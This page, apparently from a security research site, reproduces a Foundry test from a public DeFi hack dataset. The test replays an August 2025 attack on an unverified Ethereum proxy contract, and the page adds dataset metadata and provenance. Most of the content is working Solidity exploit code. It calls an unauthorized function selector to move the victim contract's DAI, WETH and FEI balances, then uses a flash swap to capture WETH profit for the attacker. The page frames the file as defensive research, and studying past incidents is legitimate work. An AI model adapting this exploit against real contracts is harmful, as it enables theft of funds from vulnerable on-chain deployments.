Public reproduction file
src/test/2025-08/unverified_6f7a_exp.sol
Public reproduction file for dataset entry Unverified_6f7a.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 7,630.46 USD7// Attacker : 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE37838// Attack Contract : 0x308a2c17e8f7C41982C8e944560876A0241324E19// Vulnerable Contract : 0x6f7a14bd931554683ED15Dc92e25D046eD68EA6810// Attack Tx : https://etherscan.io/tx/0x653b185a57fb5909180fe4eede67e51c5e9b70af16937382f86d5aefe635e5a711//12// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x6f7a14bd931554683ED15Dc92e25D046eD68EA68#code14//15// @Analysis16// Twitter Guy : https://t.me/defimon_alerts/170617//18// Attack summary: The attacker called an unverified implementation behind the proxy once for each token19// balance held by the victim (DAI, WETH, and FEI), forcing those balances through its liquidity path. A final20// FEI/DAI/WETH flash swap captured the resulting price imbalance as WETH profit.21// Root cause: The proxy exposed selector 0xbfd479c4 without caller authorization or a constraint that the22// token amount belonged to msg.sender, so an arbitrary caller could process the victim's live token balances.24address constant ATTACKER = 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783;25address constant VULNERABLE_CONTRACT = 0x6F7a14Bd931554683ed15dC92e25D046Ed68EA68;26address constant IMPLEMENTATION = 0x338FfEacCf929c88fb9574DC202dC1714b1903E7;27address constant UNVERIFIED_ROUTER = 0x14E6D67F824C3a7b4329d3228807f8654294e4bd;28address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;29address constant FEI_DAI_PSM = 0x7842186CDd11270C4Af8C0A99A5E0589c7F249ce;30address constant DAI_WETH_PAIR = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11;31address constant FEI_WETH_PAIR = 0x94B0A3d511b6EcDb17eBF877278Ab030acb0A878;32address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;33address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;34address constant FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;36interface IERC20 {37 function balanceOf(38 address account39 ) external view returns (uint256);40 function approve(41 address spender,42 uint256 amount43 ) external returns (bool);44 function transfer(45 address to,46 uint256 amount47 ) external returns (bool);48}50interface IWETH is IERC20 {51 function deposit() external payable;52}54interface IUniswapV2Router {55 function swapETHForExactTokens(56 uint256 amountOut,57 address[] calldata path,58 address to,59 uint256 deadline60 ) external payable returns (uint256[] memory amounts);61}63interface IUniswapV2Pair {64 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);65 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;66}68interface IUniswapV2Callee {69 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;70}72interface ISimpleFeiDaiPSM {73 function redeem(address to, uint256 amountFeiIn, uint256 minAmountOut) external returns (uint256 amountOut);74}76contract ContractTest is BaseTestWithBalanceLog {77 function setUp() public {78 uint256 forkBlock = 23_196_045;79 vm.createSelectFork("mainnet", forkBlock);81 fundingToken = WETH;82 attacker = ATTACKER;84 vm.label(ATTACKER, "Attacker");85 vm.label(VULNERABLE_CONTRACT, "Unverified Proxy 6f7a");86 vm.label(IMPLEMENTATION, "Unverified Implementation");87 vm.label(UNVERIFIED_ROUTER, "Unverified Liquidity Router");88 vm.label(FEI_DAI_PSM, "SimpleFeiDaiPSM");89 vm.label(DAI_WETH_PAIR, "DAI-WETH Pair");90 vm.label(FEI_WETH_PAIR, "FEI-WETH Pair");91 vm.label(WETH, "WETH");92 vm.label(DAI, "DAI");93 vm.label(FEI, "FEI");94 }96 function testExploit() public {97 uint256 victimDaiBefore = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);98 uint256 victimWethBefore = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);99 uint256 victimFeiBefore = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);100 uint256 attackerWethBefore = IERC20(WETH).balanceOf(ATTACKER);102 vm.deal(ATTACKER, 0.01 ether);104 vm.startPrank(ATTACKER);105 AttackOrchestrator orchestrator = new AttackOrchestrator();106 vm.label(address(orchestrator), "Local Attack Orchestrator");107 orchestrator.execute{value: 0.01 ether}();108 vm.stopPrank();110 uint256 victimDaiAfter = IERC20(DAI).balanceOf(VULNERABLE_CONTRACT);111 uint256 victimWethAfter = IERC20(WETH).balanceOf(VULNERABLE_CONTRACT);112 uint256 victimFeiAfter = IERC20(FEI).balanceOf(VULNERABLE_CONTRACT);113 uint256 attackerWethAfter = IERC20(WETH).balanceOf(ATTACKER);115 emit log_named_decimal_uint("Victim DAI drained", victimDaiBefore - victimDaiAfter, 18);116 emit log_named_decimal_uint("Victim WETH drained", victimWethBefore - victimWethAfter, 18);117 emit log_named_decimal_uint("Victim FEI drained", victimFeiBefore - victimFeiAfter, 18);118 emit log_named_decimal_uint("Attacker WETH profit", attackerWethAfter - attackerWethBefore, 18);120 assertLt(victimDaiAfter, 1 ether);121 assertLe(victimWethAfter, 100);122 assertLt(victimFeiAfter, 1 ether);123 assertGt(attackerWethAfter - attackerWethBefore, 0.24 ether);124 }125}127contract AttackOrchestrator {128 receive() external payable {}130 function execute() external payable {131 VictimBalanceDrainer drainer = new VictimBalanceDrainer();133 uint256 callValue = msg.value / 3;134 drainer.drainToken{value: callValue}(DAI);135 drainer.drainToken{value: callValue}(WETH);136 drainer.drainToken{value: msg.value - callValue * 2}(FEI);138 FeiDaiWethArb arb = new FeiDaiWethArb(ATTACKER);139 arb.execute();141 (bool sent,) = payable(ATTACKER).call{value: address(this).balance}("");142 require(sent, "refund failed");143 }144}146contract VictimBalanceDrainer {147 receive() external payable {}149 function drainToken(150 address token151 ) external payable {152 if (token == WETH) {153 IWETH(WETH).deposit{value: 100}();154 } else {155 address[] memory buyPath = new address[](2);156 buyPath[0] = WETH;157 buyPath[1] = token;158 IUniswapV2Router(UNISWAP_V2_ROUTER)159 .swapETHForExactTokens{value: msg.value}(100, buyPath, address(this), block.timestamp + 1);160 }162 IERC20(token).approve(UNVERIFIED_ROUTER, 100);164 uint256 victimBalance = IERC20(token).balanceOf(VULNERABLE_CONTRACT);165 address[] memory tokens = new address[](1);166 tokens[0] = token;168 (bool success,) = VULNERABLE_CONTRACT.call(169 abi.encodeWithSelector(bytes4(0xbfd479c4), address(this), tokens, uint256(0), victimBalance)170 );171 require(success, "victim call failed");173 (bool refunded,) = payable(ATTACKER).call{value: address(this).balance}("");174 require(refunded, "native refund failed");175 }176}178contract FeiDaiWethArb is IUniswapV2Callee {179 address private immutable profitReceiver;181 constructor(182 address profitReceiver_183 ) {184 profitReceiver = profitReceiver_;185 }187 function execute() external {188 uint256 borrowFei = 1_517_160_312_700_019_137_568;189 IUniswapV2Pair(FEI_WETH_PAIR).swap(borrowFei, 0, address(this), abi.encode(borrowFei));190 }192 function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external override {193 require(msg.sender == FEI_WETH_PAIR, "unexpected pair");194 require(sender == address(this), "unexpected sender");196 (uint112 feiReserve, uint112 wethReserve,) = IUniswapV2Pair(FEI_WETH_PAIR).getReserves();197 (uint112 daiReserve, uint112 daiPairWethReserve,) = IUniswapV2Pair(DAI_WETH_PAIR).getReserves();199 IERC20(FEI).approve(FEI_DAI_PSM, amount0);200 ISimpleFeiDaiPSM(FEI_DAI_PSM).redeem(DAI_WETH_PAIR, amount0, 0);202 uint256 wethOut = _getAmountOut(amount0, daiReserve, daiPairWethReserve);203 IUniswapV2Pair(DAI_WETH_PAIR).swap(0, wethOut, address(this), "");205 uint256 repayWeth = _getAmountIn(amount0, wethReserve, feiReserve);206 IERC20(WETH).transfer(FEI_WETH_PAIR, repayWeth);208 uint256 profit = IERC20(WETH).balanceOf(address(this));209 IERC20(WETH).transfer(profitReceiver, profit);210 }212 function _getAmountOut(213 uint256 amountIn,214 uint256 reserveIn,215 uint256 reserveOut216 ) private pure returns (uint256) {217 uint256 amountInWithFee = amountIn * 997;218 return (amountInWithFee * reserveOut) / (reserveIn * 1000 + amountInWithFee);219 }221 function _getAmountIn(222 uint256 amountOut,223 uint256 reserveIn,224 uint256 reserveOut225 ) private pure returns (uint256) {226 return ((reserveIn * amountOut * 1000) / ((reserveOut - amountOut) * 997)) + 1;227 }228}Analysis
Dataset entry
Public Foundry test for “Unverified_6f7a” (2025-08-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/WXC_Token_exp.solSame month in the dataset · 76 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe4b97db5faf476db464bc271097fac97d6ce3783
- Attack Contract
0x308a2c17e8f7c41982c8e944560876a0241324e1
- Vulnerable Contract
0x6f7a14bd931554683ed15dc92e25d046ed68ea68
- Attack Tx
0x653b185a57fb5909180fe4eede67e51c5e9b70af16937382f86d5aefe635e5a7
File record
- Name
- Unverified_6f7a
- Path
- src/test/2025-08/unverified_6f7a_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4d6718de706d30b176318647f295078386a2461b
- Language
- Solidity
- Size
- 229 lines
- Date
- 2025-08-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/unverified_6f7a_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4d6718de706d30b176318647f295078386a2461b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.